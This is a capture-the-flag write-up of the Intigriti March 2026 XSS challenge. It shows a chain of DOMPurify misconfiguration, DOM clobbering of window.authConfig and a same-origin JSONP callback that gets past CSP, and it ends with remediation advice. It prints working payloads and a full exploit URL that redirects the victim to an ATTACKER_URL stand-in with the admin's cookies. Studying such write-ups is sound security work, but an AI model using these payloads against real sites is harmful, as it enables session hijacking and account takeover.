# Intigriti March 2026 XSS Challenge: Full Writeup

## Initial Reconnaissance

The challenge presents itself as the **"Intigriti Secure Search Portal",** an interface with a search box and a "Report it to Admin" link. That report link is the classic signal: there's an admin bot that visits URLs we submit, meaning we need to craft a URL that steals the admin's cookies.

Viewing the source reveals three JavaScript files loaded by the page:

*   `/js/purify.min.js` : DOMPurify
    
*   `/js/components.js`: A custom `ComponentManager` class and an `Auth` module
    
*   `/js/main.js`: The application logic that ties everything together
    

Also, we can see an HTML comment which says: *"We adhere to a strict CSP for maximum security"*, a hint that Content Security Policy would be a factor.

## Understanding the Application Logic

### main.js: The Search Flow

The core logic is straightforward. The app reads the `q` parameter from the URL, sanitises it with DOMPurify, and injects it into the page:

```javascript
const params = new URLSearchParams(window.location.search);
const q = params.get('q');

const cleanHTML = DOMPurify.sanitize(q, {
    FORBID_ATTR: ['id', 'class', 'style'],
    KEEP_CONTENT: true
});

resultsContainer.innerHTML = `<p>Results for: <span class="search-term-highlight">${cleanHTML}</span></p>
                              <p>No matching records found...</p>`;
```

After injecting the HTML, it initialises the ComponentManager:

```javascript
if (window.ComponentManager) {
    window.ComponentManager.init();
}
```

There's also a report modal that POSTs a URL to `/report`, presumably triggering an admin bot to visit it.

**Key observations:**

*   User input flows directly into `innerHTML` after DOMPurify sanitisation
    
*   DOMPurify only forbids `id`, `class`, `style` attributes and everything else passes through
    
*   `ComponentManager.init()` runs *after* the user-controlled HTML is injected into the DOM
    

### components.js: The ComponentManager

The `ComponentManager` scans the DOM for elements with `data-component="true"` and dynamically loads scripts based on their `data-config` attribute:

```javascript
class ComponentManager {
    static init() {
        document.querySelectorAll('[data-component="true"]').forEach(element => {
            this.loadComponent(element);
        });
    }

    static loadComponent(element) {
        let rawConfig = element.getAttribute('data-config');
        if (!rawConfig) return;

        let config = JSON.parse(rawConfig);
        let basePath = config.path || '/components/';
        let compType = config.type || 'default';
        let scriptUrl = basePath + compType + '.js';

        let s = document.createElement('script');
        s.src = scriptUrl;
        document.head.appendChild(s);
    }
}
```

This is extremely interesting. If we can inject a `<div data-component="true" data-config="...">` into the page, we control the URL of a dynamically loaded `<script>` tag. But CSP restricts where scripts can load from.

### components.js: The Auth.loginRedirect Callback

The same file defines a JSONP-style callback function:

```javascript
window.Auth.loginRedirect = function (data) {
    let config = window.authConfig || {
        dataset: { next: '/', append: 'false' }
    };

    let redirectUrl = config.dataset.next || '/';

    if (config.dataset.append === 'true') {
        let delimiter = redirectUrl.includes('?') ? '&' : '?';
        redirectUrl += delimiter + "token=" + encodeURIComponent(document.cookie);
    }

    window.location.href = redirectUrl;
};
```

This function reads from `window.authConfig`, and if `dataset.append` is `"true"`, it appends `document.cookie` to the redirect URL. This is the exfiltration mechanism, if we can control `window.authConfig`, and trigger this callback, we can get the cookie of the user.

## Mapping the Constraints

### Content Security Policy

Checking the HTTP response headers reveals a strict CSP:

```plaintext
default-src 'none';
script-src 'self';
connect-src 'self';
img-src 'self' data:;
style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;
font-src 'self' data: https://fonts.googleapis.com https://fonts.gstatic.com;
frame-ancestors 'self';
frame-src 'self';
```

The critical directive is `script-src 'self'` that we can only load scripts from the same origin ([`challenge-0326.intigriti.io`](http://challenge-0326.intigriti.io)). No external scripts, no inline scripts, no `eval`. This is the "inner wall" referenced in the hint.

### DOMPurify Configuration

DOMPurify is configured with:

javascript

```javascript
FORBID_ATTR: ['id', 'class', 'style'],
KEEP_CONTENT: true
```

What's **forbidden**: `id`, `class`, `style` What's **allowed**: Everything else, including `name`, `data-*`, `src`, `href`, etc.

This is a significant misconfiguration. The `name` attribute and all `data-*` attributes pass through unscathed.

### The Attack Surface Summary

At this point, I identified three building blocks:

1.  **HTML injection** via the `q` parameter (filtered through DOMPurify, but `data-*` and `name` survive)
    
2.  **Script loading** via ComponentManager (needs a same-origin script URL due to CSP)
    
3.  **Cookie exfiltration** via `Auth.loginRedirect` (needs `window.authConfig` to be controlled)
    

The challenge becomes: how do I chain these together?

## Finding the Hidden JSONP Endpoint

The hint released by Iintigiriti team said: *"find the hidden api endpoint that lets you choose the callback."* This points to a JSONP endpoint on the same origin, which would satisfy the `script-src 'self'` CSP.

![](https://cdn.hashnode.com/uploads/covers/610e0798b79d6a1136680ce1/1cb419e1-200e-422e-88d0-67813ec32c2e.png align="center")

I started probing for API endpoints. Most common paths (`/api/search`, `/api/auth`, `/api/config`, etc.) returned 404. I then ran a broader wordlist scan across dozens of possible path names. After testing words like `analytics`, `track`, `log`, `metrics`, `stats`, etc., I got a hit:

```plaintext
/api/stats → 400 (Bad Request, not 404!)
```

A 400 means the endpoint exists but we're missing a required parameter. Testing with different query parameters:

```plaintext
/api/stats              → 400
/api/stats?callback=test → 200 ✓
/api/stats?cb=test      → 400
/api/stats?jsonp=test   → 400
```

The `callback` parameter is the one. Fetching the response body confirms it's a JSONP endpoint:

```javascript
test({"users":1337,"active":42,"status":"Operational"});
```

And with our target callback:

```plaintext
/api/stats?callback=Auth.loginRedirect
```

Returns:

```javascript
Auth.loginRedirect({"users":1337,"active":42,"status":"Operational"});
```

This is the key to bypassing the CSP. Since this endpoint is same-origin and returns valid JavaScript that calls `Auth.loginRedirect`, we can load it as a script.

## Controlling window.authConfig

The `Auth.loginRedirect` function reads its configuration from `window.authConfig`:

```javascript
let config = window.authConfig || { dataset: { next: '/', append: 'false' } };
```

If `window.authConfig` is undefined, it falls back to safe defaults. We need to make `window.authConfig` point to something we control, with [`dataset.next`](http://dataset.next) set to our webhook URL and `dataset.append` set to `"true"`.

This is where **DOM clobbering** comes in. In browsers, certain HTML elements with a `name` attribute automatically creates properties on the `window` object. For example, `<img name="foo">` makes [`window.foo`](http://window.foo) reference that `<img>` element.

Testing different tags, i found that both `<img>` and `<form>` work. I chose `<img>` for simplicity:

```html
<img name="authConfig" data-next="https://ATTACKER" data-append="true">
```

After DOMPurify sanitises this, it passes through unchanged. Once injected via `innerHTML`, `window.authConfig` now points to this `<img>` element. Accessing [`window.authConfig.dataset.next`](http://window.authConfig.dataset.next) returns our attacker URL, and `dataset.append` returns `"true"`.

## Crafting the ComponentManager Trigger

The ComponentManager builds script URLs as:

```javascript
let scriptUrl = basePath + compType + '.js';
```

We need the final URL to be `/api/stats?callback=Auth.loginRedirect`. Since `.js` is appended, we can use a dummy query parameter to absorb it:

*   `path` = `/api/stats?callback=Auth.loginRedirect&x=`
    
*   `type` = `y`
    
*   Result: `/api/stats?callback=Auth.loginRedirect&x=y.js`
    

The `&x=y.js` is just an extra ignored query parameter. The server still returns the JSONP response with `Auth.loginRedirect(...)`.

The injected element:

```html
<div data-component="true" data-config='{"path":"/api/stats?callback=Auth.loginRedirect&x=","type":"y"}'>z</div>
```

## Assembling the Final Payload

Combining both pieces, the raw HTML payload is:

```html
<img name="authConfig" data-next="https://ATTACKER_URL" data-append="true">
<div data-component="true" data-config='{"path":"/api/stats?callback=Auth.loginRedirect&x=","type":"y"}'>z</div>
```

As everything is ready now, I further encountered a critical encoding subtlety. When this payload is placed in the `q` URL parameter, the `&x=` inside `data-config` gets interpreted by `URLSearchParams` as a *separate parameter boundary*, truncating the `q` value prematurely.

Since the browser's HTML parser decodes entities before JavaScript reads the attribute, we can use `&quot;` for double quotes and `&amp;` for ampersands:

```html
<img name="authConfig" data-next="https://ATTACKER_URL" data-append="true">
<div data-component="true" data-config="{&quot;path&quot;:&quot;/api/stats?callback=Auth.loginRedirect&amp;x=&quot;,&quot;type&quot;:&quot;y&quot;}">z</div>
```

Now, when URL-encoded with `encodeURIComponent`, all special characters are properly escaped at the URL level, and the HTML entities decode correctly at the HTML parsing level.

### Final Exploit URL

```plaintext
https://challenge-0326.intigriti.io/challenge.html?q=%3Cimg%20name%3D%22authConfig%22%20data-next%3D%22https%3A%2F%2FATTACKER_URL%22%20data-append%3D%22true%22%3E%3Cdiv%20data-component%3D%22true%22%20data-config%3D%22%7B%26quot%3Bpath%26quot%3B%3A%26quot%3B%2Fapi%2Fstats%3Fcallback%3DAuth.loginRedirect%26amp%3Bx%3D%26quot%3B%2C%26quot%3Btype%26quot%3B%3A%26quot%3By%26quot%3B%7D%22%3Ez%3C%2Fdiv%3E
```

## The Exploit Chain

Here's exactly what happens when the victim (admin bot) clicks the crafted link:

1.  **Browser loads the page** with the malicious `q` parameter.
    
2.  **DOMPurify sanitizes** the HTML. Since only `id`, `class`, and `style` are forbidden, the `name`, `data-next`, `data-append`, `data-component`, and `data-config` attributes all pass through.
    
3.  **innerHTML injects** the sanitized HTML into the DOM. This creates:
    
    *   An `<img name="authConfig">` element → `window.authConfig` now points to it (DOM clobbering)
        
    *   A `<div data-component="true" data-config="...">` element → ready for ComponentManager
        
4.  **ComponentManager.init()** runs, finds the `data-component` div, parses the JSON config, and creates a `<script>` tag with `src="/api/stats?callback=Auth.loginRedirect&x=y.js"`.
    
5.  **The JSONP script loads** (same-origin, so CSP allows it) and executes: `Auth.loginRedirect({"users":1337,...})`.
    
6.  **Auth.loginRedirect** reads `window.authConfig` (our clobbered `<img>` element):
    
    *   [`config.dataset.next`](http://config.dataset.next) → `"`[`https://ATTACKER_URL`](https://ATTACKER_URL)`"`
        
    *   `config.dataset.append` → `"true"`
        
7.  **Cookie exfiltration**: The function builds [`https://ATTACKER_URL?token=<document.cookie>`](https://ATTACKER_URL?token=%3Cdocument.cookie%3E) and redirects the victim's browser there.
    
8.  **The attacker's server** receives the admin's cookies in the `token` query parameter.
    

![](https://cdn.hashnode.com/uploads/covers/610e0798b79d6a1136680ce1/5a8bde42-5bd6-42da-a615-8fc0545d7644.png align="center")

## Impact

This vulnerability allows session hijacking through a single crafted URL. An attacker can steal the admin's authentication cookies without any user interaction beyond clicking a link and achieve complete account takeover.

## Remediation

Add `name` to `FORBID_ATTR` to prevent DOM clobbering. Better yet, use `ALLOW_DATA_ATTR: false` to block all `data-*` attributes from user input.
